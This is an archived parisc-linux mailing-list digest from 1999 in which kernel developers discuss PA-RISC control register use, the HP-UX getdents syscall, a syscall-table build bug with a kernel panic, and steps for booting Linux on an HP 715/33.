Original-Received: (qmail 26301 invoked from network); 2 Nov 1999 08:53:18 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 2 Nov 1999 08:53:18 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id JAA12101;
	Tue, 2 Nov 1999 09:53:16 +0100
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id JAA335921;
	Tue, 2 Nov 1999 09:53:15 +0100 (CET)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m11iZhF-000262C@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for Matthew.Wilcox@genedata.com; Tue, 2 Nov 1999 09:53:41 +0100 (CET) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <19991101210305.75FA118708@security.hp.com>; from LaMont Jones on Mon, Nov 01, 1999 at 02:03:05PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:6289

On Mon, Nov 01, 1999 at 02:03:05PM -0700, LaMont Jones wrote:
> > This is a uniprocessor optimisation of the xchg() case where it's _not_
> > exchanging with zero.  What I need is a spare CR register.  As far as I
> > can see from the comments, CR28-30 are currently reserved; leaving CRs
> > 24, 25 and 31 available.  Unless someone's using one of them without
> > documenting it somewhere...?  That really does need to be written down
> > somewhere.
> 
> IIRC, CR24 and 25 are readable from user space (not writable), and can be
> quite useful for thread specific data, thread id, etc...  It might do to
> leave them available for such a use.

You're thinking of CR26 and 27 (ref: Kane's PA-RISC 2.0 Architecture,
page 2-17).  CR31 _is_ used, I didn't read carefully enough:

$ find arch/parisc/ -name \*.[chS] |xargs grep ctl |grep 31
arch/parisc/kernel/interruption.S:      mtctl           29,31
arch/parisc/kernel/interruption.S:      mtctl           29,31
arch/parisc/kernel/interruption.S:      mtctl           29,31
arch/parisc/kernel/syscall.S:   mfctl   31, %r27                        ; get the kernel dp

cr26,27 are used, but only in a debug macro in head.S.

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:11:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: LaMont Jones <lamont@security.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] xchg implementation
Date: Tue, 02 Nov 1999 07:10:58 -0700
Lines: 11
Approved: news@gmane.org
Message-ID: <19991102141105.9EB1518708@security.hp.com>
References: <19991102095340.D516@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416618595 27371 80.91.229.3 (22 Nov 2014 01:09:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:55 +0000 (UTC)
Cc: LaMont Jones <lamont@security.hp.com>, parisc-linux@thepuffingroup.com,
        lamont@security.hp.com
To: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Original-X-From: lamont@security.hp.com  Tue Nov  2 07:09:56 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id HAA14042
	for <parisc-linux@puffin.external.hp.com>; Tue, 2 Nov 1999 07:09:56 -0700
Original-Received: (qmail 16663 invoked by uid 15267); 2 Nov 1999 14:11:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16656 invoked from network); 2 Nov 1999 14:11:09 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 2 Nov 1999 14:11:09 -0000
Original-Received: from security.hp.com (cranston.fc.hp.com [15.6.91.224])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id JAA06093
	for <parisc-linux@thepuffingroup.com>; Tue, 2 Nov 1999 09:10:17 -0500 (EST)
Original-Received: from cranston.fc.hp.com (cranston.fc.hp.com [15.6.91.224])
	by security.hp.com (Postfix) with ESMTP
	id 9EB1518708; Tue,  2 Nov 1999 07:11:05 -0700 (MST)
In-reply-to: Your message of "Tue, 02 Nov 1999 09:53:40 +0100."
             <19991102095340.D516@mencheca.ch.genedata.com> 
Content-ID: <20956.941551858.1@cranston.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6290

> > IIRC, CR24 and 25 are readable from user space (not writable), and can be
> > quite useful for thread specific data, thread id, etc...  It might do to
> > leave them available for such a use.
> You're thinking of CR26 and 27 (ref: Kane's PA-RISC 2.0 Architecture,
> page 2-17).  CR31 _is_ used, I didn't read carefully enough:

And the worst of it is that I knew that.  Sigh...

thanks for the clarification,
lamont


From - Thu Nov 08 21:11:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Donald Scobbie <dscobbie@sqf.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] _end symbol in parisc linux?
Date: Tue, 02 Nov 1999 19:13:43 +0000
Organization: Hewlett Packard LTD
Lines: 26
Approved: news@gmane.org
Message-ID: <381F37E6.9670A451@sqf.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618596 27372 80.91.229.3 (22 Nov 2014 01:09:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:56 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dscobbie@sqf.hp.com  Tue Nov  2 12:12:50 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA15035
	for <parisc-linux@puffin.external.hp.com>; Tue, 2 Nov 1999 12:12:50 -0700
Original-Received: (qmail 1218 invoked by uid 15267); 2 Nov 1999 19:13:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1208 invoked from network); 2 Nov 1999 19:13:47 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 2 Nov 1999 19:13:47 -0000
Original-Received: from claymore.sqf.hp.com (claymore.sqf.hp.com [15.144.177.1])
	by palrel1.hp.com (Postfix) with ESMTP id 08E08699
	for <parisc-linux@thepuffingroup.com>; Tue,  2 Nov 1999 11:13:45 -0800 (PST)
Original-Received: from sqf.hp.com (hpqs0581.sqf.hp.com [15.144.178.150]) by claymore.sqf.hp.com with ESMTP (8.8.6 (PHNE_17135)/8.7.3 TIS 5.0) id TAA16802 for <parisc-linux@thepuffingroup.com>; Tue, 2 Nov 1999 19:13:43 GMT
Original-Sender: dscobbie@sqf.hp.com
X-Mailer: Mozilla 4.7 [en] (X11; I; Linux 2.2.12-2 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6291



> Anybody know how to get PA-Linux to have an _end symbol like
> most other programs, including Intel Linux?
>
>         -Paul Bame

Define the symbol as:

extern void *_end;

and the linker will sort it out for you. See the HP-UX man page for
'end'.
I think everyone is linking with the HP-UX ld, but it works for gcc ld
too.

Cheers

Donald

-------------------------------------------------------
Donald Scobbie
Hewlett Packard Ltd.        email:  dscobbie@sqf.hp.com
Telecom Systems Division    Phone:  +44 131 331 6149



From - Thu Nov 08 21:11:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] getdents
Date: Wed, 3 Nov 1999 03:11:52 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <19991103031152.F25252@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618596 27374 80.91.229.3 (22 Nov 2014 01:09:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:56 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Matthew.Wilcox@genedata.com  Tue Nov  2 19:10:10 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id TAA16173
	for <parisc-linux@puffin.external.hp.com>; Tue, 2 Nov 1999 19:10:10 -0700
Original-Received: (qmail 22089 invoked by uid 15267); 3 Nov 1999 02:11:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22082 invoked from network); 3 Nov 1999 02:11:24 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 3 Nov 1999 02:11:24 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id DAA16038
	for <parisc-linux@thepuffingroup.com>; Wed, 3 Nov 1999 03:11:22 +0100
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id DAA524020
	for <parisc-linux@thepuffingroup.com>; Wed, 3 Nov 1999 03:11:19 +0100 (CET)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m11iptw-000262C@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for parisc-linux@thepuffingroup.com; Wed, 3 Nov 1999 03:11:52 +0100 (CET) 
X-Mailer: Mutt 0.95.3i
Xref: news.gmane.org gmane.linux.ports.parisc:6292


I'm trying to implement the HPUX getdents syscall so that we can `-ls'
in sash.  Unfortunately, there appears to be no manual page on this.
Could someone let me know exactly what libc is expecting getdents
to return?  So far I have deduced the following:

It takes three parameters; a file descriptor, an address and a length
in bytes.  On return, that block of memory is filled with as many of
the following struct as will fit:

struct hpux_dirent {
	ino_t	d_ino;
	short	d_reclen;
	short	d_namlen;
	char	d_name[1];
};

But checking through the other compatibility implementations of getdents;
there is so much variation about what else might be returned in that
block that I would prefer to not speculate further unless I have to.

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:11:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Recent changes
Date: Tue, 2 Nov 1999 23:14:33 -0500 (EST)
Lines: 103
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9911022309430.5997-100000@vodka.thepuffingroup.com>
References: <199911030250.TAA16563@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618596 27380 80.91.229.3 (22 Nov 2014 01:09:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:56 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@thepuffingroup.com  Tue Nov  2 21:03:25 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id VAA16760
	for <parisc-linux@puffin.external.hp.com>; Tue, 2 Nov 1999 21:03:25 -0700
Original-Received: (qmail 20823 invoked by uid 15267); 3 Nov 1999 04:04:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20816 invoked from network); 3 Nov 1999 04:04:40 -0000
Original-Received: from unknown (HELO vodka.thepuffingroup.com) (@216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 3 Nov 1999 04:04:40 -0000
Original-Received: from vodka.thepuffingroup.com (IDENT:adevries@vodka.thepuffingroup.com [192.168.1.1])
	by vodka.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id XAA06046
	for <parisc-linux@thepuffingroup.com>; Tue, 2 Nov 1999 23:14:33 -0500
In-Reply-To: <199911030250.TAA16563@puffin.external.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6293


Matt Wilcox committed some code that I know he's unable to test, so I'm
mailing the bug report here.

The first is that building the kernel kernel will result in:

ld: Unsatisfied symbols:
   hpux_brk (code)

so I just commented out the only reference to it, and now I end up with:

(start_code) 00001000
(end_data) 40008000
(start_stack) 20000028
(brk) 40017000

PSW  : 0004f80b  GR 1 : 40006928  GR 2 : 00016f5f  GR 3 : 40007128  
GR 4 : 40016314  GR 5 : 40006928  GR 6 : 00002001  GR 7 : 00000020  
GR 8 : 40001511  GR 9 : 00000000  GR10 : 00000050  GR11 : bc0fd569  
GR12 : 000043ff  GR13 : 00004400  GR14 : 00004800  GR15 : 43f02aa9  
GR16 : 00004000  GR17 : 00000000  GR18 : 00000c00  GR19 : 00000001  
GR20 : 00000001  GR21 : 40019000  GR22 : ffffff05  GR23 : 00000000  
GR24 : 00000000  GR25 : ffffffff  GR26 : ffffffff  GR27 : 40007128  
GR28 : 4001830c  GR29 : 40018ffc  GR30 : 20000780  GR31 : 00033323  
SR0  : 00000000  SR1  : 00000000  SR2  : 00000000  SR3  : 00000000  
SR4  : 00000000  SR5  : 00000000  SR6  : 00000000  SR7  : 00000000  
IAOQ : 00016f7b 00016f7f

bad address 40018ffc (code 15)
Kernel panic: bad address

In swapper task - not syncing

And that is it.

- Alex

ps.  All the puffins will be out of town in Montreal on Wednesday to
attend/speak at a conference and see live puffins.

-- 
Alex deVries <adevries@thepuffingroup.com>
Vice President Engineering
The Puffin Group

X-From-Line: hppa-linux@thepuffingroup.com  Wed Mar  3 08:12:14 1999
Return-Path: <hppa-linux@thepuffingroup.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id IAA01278
	for <pcj@merlin.pcj.primenet.com>; Wed, 3 Mar 1999 08:12:14 -0800
Resent-From: hppa-linux@thepuffingroup.com
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Wed, 03 Mar 1999 08:12:14 PST
Received: from smtp04.primenet.com (daemon@smtp01.primenet.com [206.165.6.134])
	by primenet.com (8.8.8/8.8.5) with ESMTP id IAA18201
	for <pcj@smtp-local.primenet.com>; Wed, 3 Mar 1999 08:20:46 -0700 (MST)
Received: (from daemon@localhost)
	by smtp04.primenet.com (8.8.8/8.8.8) id IAA19325
	for <pcj@primenet.com>; Wed, 3 Mar 1999 08:52:15 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp04.primenet.com, id smtpd019270; Wed Mar  3 08:52:04 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id JAA18655;
	Wed, 3 Mar 1999 09:50:49 -0500
Resent-Date: Wed, 3 Mar 1999 09:50:49 -0500
X-Authentication-Warning: sod.res.cmu.edu: listserv set sender to hppa-linux-request@thepuffingroup.com using -f
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Message-ID: <36DD4C15.7EBDA332@hans.or.jp>
Date: Wed, 03 Mar 1999 23:49:57 +0900
From: Takeshi Maruyama <maru@hans.or.jp>
X-Mailer: Mozilla 4.05 [ja] (Win95; I)
MIME-Version: 1.0
To: "hppa-linux@thepuffingroup.com" <hppa-linux@thepuffingroup.com>
Content-Type: text/plain; charset=iso-2022-jp
Content-Transfer-Encoding: 7bit
Subject: [hppa-linux] MkLinux to HP712/60
Resent-Message-ID: <"w5IGA1.0.PZ4.9nKts"@sod.res.cmu.edu>
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/137
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: 8c690db8b0ff8bc57e4fd2c17f3fd42a
Lines: 15
Xref: merlin.pcj.primenet.com palinux:108

Hello,

I installed MkLinux for PA-RISC  to my HP712/60.
The console cannot be displayed with my HP712.
Is the console displayed in your HP712?

--
Takeshi Maruyama. Iwata-city.
maru@hans.or.jp


-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:11:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Strelow <ulrich_strelow@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Congratulations, remarks and questions
Date: Wed, 3 Nov 1999 04:30:44 -0800 (PST)
Lines: 74
Approved: news@gmane.org
Message-ID: <19991103123044.18853.rocketmail@web507.yahoomail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618597 27381 80.91.229.3 (22 Nov 2014 01:09:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:57 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: ulrich_strelow@yahoo.com  Wed Nov  3 05:17:45 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id FAA18073
	for <parisc-linux@puffin.external.hp.com>; Wed, 3 Nov 1999 05:17:45 -0700
Original-Received: (qmail 26534 invoked by uid 15267); 3 Nov 1999 12:18:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26527 invoked from network); 3 Nov 1999 12:18:57 -0000
Original-Received: from web507.mail.yahoo.com (HELO web507.yahoomail.com) (128.11.68.74)
  by mailserv2.iuinc.com with SMTP; 3 Nov 1999 12:18:57 -0000
Original-Received: from [149.234.12.1] by web507.mail.yahoo.com; Wed, 03 Nov 1999 04:30:44 PST
Xref: news.gmane.org gmane.linux.ports.parisc:6294

Hi all,

first of all congratulations for the success of
getting to the shell prompt. I hope that you have
celebrated this event accordingly. I finally made it
too, I build a kernel for my 715/33 which boots until
the sash-prompt. To document the necessary steps for
others, here is my recipe:

1. get a recent kernel source (I took 19991031)
2. apply the patch from Thomas Bogendoerfer to
arch/parisc/kernel/setup.c (see his mail iodc console
patch). The patch to pdc_cons.c seems to be no longer
necessary.
3. get ramdisk.bin-19991019-workingsash and copy it to
/usr/src/linux as ramdisk.bin.
4. run make config and change the following options:
CONFIG_IODC_CONSOLE=y
CONFIG_NETDEVICES=n 
CONFIG_VT=y
CONFIG_VT_CONSOLE=y
CONFIG_SERIAL=n
5. run make dep, make vmlinux, make Image
6. boot the kernel with the "isl" option and change
the command line from ttyS0 to tty (or change the
console parameter of DEFAULT_COMMANDLINE in
arch/parisc/boot/boot_code/ipl_c.c).  

Now some remarks: I have noticed the development of
the I/O-drivers (GSC/Gecko, DINO, LASI, PCI) in the
past to make them stable, so that they can be included
even if the machine does not have these features. This
is also true for my 715/33 and the 19991031 kernel
tree. However, saying no to CONFIG_GECKO_DINO,
CONFIG_GECKO_LASI and CONFIG_PCI leads to missing
symbols inb and outb during the link stage which are
defined in arch/parisc/kernel/pci.c. And saying no to
CONFIG_GECKO is impossible because gecko.a is defined
in DRIVERS in the central Makefile without a
surrounding ifdef. I don't think that this is a
problem right now, but I would like to mention these
points anyway.

My first try was to build the kernel without
specifying CONFIG_NETDEVICES=n. This leads to the
following problem: the kernel stops booting with these
messages:  

Starting lasi lan at 0xf0826000
lasi_alloc_irq(0xc0127968): No LASI found in system
yet
IRQ not found for lasi lan at 0xf0826000
Warning : device (10, 0xb, 0x0, 0x72, 0x0) NOT claimed
by Lasi i82596(???) LAN 700 or similiar (old)

Maybe this is of interest to someone, too.

Now the questions: the kernel boots to the
sash-prompt, but no keyboard input is possible
(neither the HIL-keyboard, nor the keyboard from the
serial terminal I was using). Is this because of the
missing support for the ASP chip of the 715/33 ? Are
all devices (HIL, SCSI and LAN) connected via that
chip ? And finally: has HP found and published the
docs of that chip so that someone is able to write the
supporting routines ?

Greetings from Berlin
Ulrich

__________________________________________________
Do You Yahoo!?
Bid and sell for free at http://auctions.yahoo.com


From - Thu Nov 08 21:11:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Recent changes
Date: Wed, 3 Nov 1999 13:36:28 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <19991103133628.G25252@mencheca.ch.genedata.com>
References: <199911030250.TAA16563@puffin.external.hp.com> <Pine.LNX.4.10.9911022309430.5997-100000@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618597 27384 80.91.229.3 (22 Nov 2014 01:09:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:57 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@thepuffingroup.com>
Original-X-From: Matthew.Wilcox@genedata.com  Wed Nov  3 05:34:39 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id FAA18454
	for <parisc-linux@puffin.external.hp.com>; Wed, 3 Nov 1999 05:34:39 -0700
Original-Received: (qmail 31002 invoked by uid 15267); 3 Nov 1999 12:35:55 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30992 invoked from network); 3 Nov 1999 12:35:54 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 3 Nov 1999 12:35:54 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id NAA32008;
	Wed, 3 Nov 1999 13:35:52 +0100
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id NAA551600;
	Wed, 3 Nov 1999 13:35:50 +0100 (CET)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m11izeO-00028LC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for adevries@thepuffingroup.com; Wed, 3 Nov 1999 13:36:28 +0100 (CET) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <Pine.LNX.4.10.9911022309430.5997-100000@vodka.thepuffingroup.com>; from Alex deVries on Tue, Nov 02, 1999 at 11:14:33PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:6295

On Tue, Nov 02, 1999 at 11:14:33PM -0500, Alex deVries wrote:
> 
> Matt Wilcox committed some code that I know he's unable to test, so I'm
> mailing the bug report here.
> 
> The first is that building the kernel kernel will result in:
> 
> ld: Unsatisfied symbols:
>    hpux_brk (code)
> 
> so I just commented out the only reference to it, and now I end up with:

You commented it out?  Aaahhh.. that was definitely the wrong thing to do.
The reference is in the middle of the syscall table, so all subsequent
syscalls were misnumbered.

I've changed it to call sys_brk instead; I'm not quite sure why I had
thought it would need to call a different function, brk looks identical
to me on both OSes.

If someone would be generous enough to test the current CVS tree for me,
I'd be grateful.  It may well be that sash is now able to perform `-ls'.

> ps.  All the puffins will be out of town in Montreal on Wednesday to
> attend/speak at a conference and see live puffins.

I'm jealous.  27 days to go.

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:11:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kevin Vajk <kvajk@ricochet.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] getdents
Date: Wed, 3 Nov 1999 17:12:57 -0800 (PST)
Lines: 40
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9911031645490.25873-100000@sophia.localdomain>
References: <19991103031152.F25252@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618597 27386 80.91.229.3 (22 Nov 2014 01:09:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:57 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: kvajk@ricochet.net  Wed Nov  3 18:07:15 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id SAA20396
	for <parisc-linux@puffin.external.hp.com>; Wed, 3 Nov 1999 18:07:15 -0700
Original-Received: (qmail 23844 invoked by uid 15267); 4 Nov 1999 01:08:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23836 invoked from network); 4 Nov 1999 01:08:15 -0000
Original-Received: from rgate2.ricochet.net (204.179.143.3)
  by mailserv2.iuinc.com with SMTP; 4 Nov 1999 01:08:15 -0000
Original-Received: from sophia.localdomain (mg130-035.ricochet.net [204.179.130.35])
	by rgate2.ricochet.net (8.9.3/8.9.3) with ESMTP id TAA14032
	for <parisc-linux@thepuffingroup.com>; Wed, 3 Nov 1999 19:08:06 -0600 (CST)
Original-Received: from localhost (kvajk@localhost)
	by sophia.localdomain (8.9.3/8.9.3) with ESMTP id RAA26027
	for <parisc-linux@thepuffingroup.com>; Wed, 3 Nov 1999 17:12:57 -0800
In-Reply-To: <19991103031152.F25252@mencheca.ch.genedata.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6296


On Wed, 3 Nov 1999, Matthew Wilcox wrote:

> struct hpux_dirent {
> 	ino_t	d_ino;
> 	short	d_reclen;
> 	short	d_namlen;
> 	char	d_name[1];
> };

Shouldn't that be d_name[256]?

Anyhow, here's how I think it works on HP-UX (somebody please correct
me if I'm wrong!):

There is a struct dirent, which applications know about, and then
there is a struct __dirent32 and a struct __dirent64, depending on
whether this is a 32- or 64-bit process.  sizeof(ino_t) is the
only difference between the 32- and 64-bit structures.
Let's just call this struct __dirent.

Now, this struct __dirent is just struct dirent, with some additional
stuff at the front.  The trouble is, I don't know what's tacked onto
the front of it, yet...  I'm looking.  If anybody knows, please
tell me!!!

Anyhow, here's the prototype:
    int getdents(int fd, char *buf, unsigned int count);
It fills in buf with struct __dirent entries.  libc then turns each
struct __dirent into a struct dirent for user consumption by just
returning &(__dirent->d_ino).

I realize this isn't much use, without a concrete definition of
the extra field(s) of struct __dirent, but I'll get one tomorrow,
I expect.  (I'm probably just looking in the wrong place or something.)

- Kevin Vajk
  <kvajk@ricochet.net>



From - Thu Nov 08 21:11:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kevin Vajk <kvajk@ricochet.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] getdents
Date: Wed, 3 Nov 1999 17:29:30 -0800 (PST)
Lines: 22
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9911031724290.26045-100000@sophia.localdomain>
References: <Pine.LNX.4.10.9911031645490.25873-100000@sophia.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618597 27389 80.91.229.3 (22 Nov 2014 01:09:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:57 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: kvajk@ricochet.net  Wed Nov  3 18:23:26 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id SAA20608
	for <parisc-linux@puffin.external.hp.com>; Wed, 3 Nov 1999 18:23:26 -0700
Original-Received: (qmail 28571 invoked by uid 15267); 4 Nov 1999 01:24:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28564 invoked from network); 4 Nov 1999 01:24:42 -0000
Original-Received: from rgate1.ricochet.net (HELO rgate.ricochet.net) (204.179.143.6)
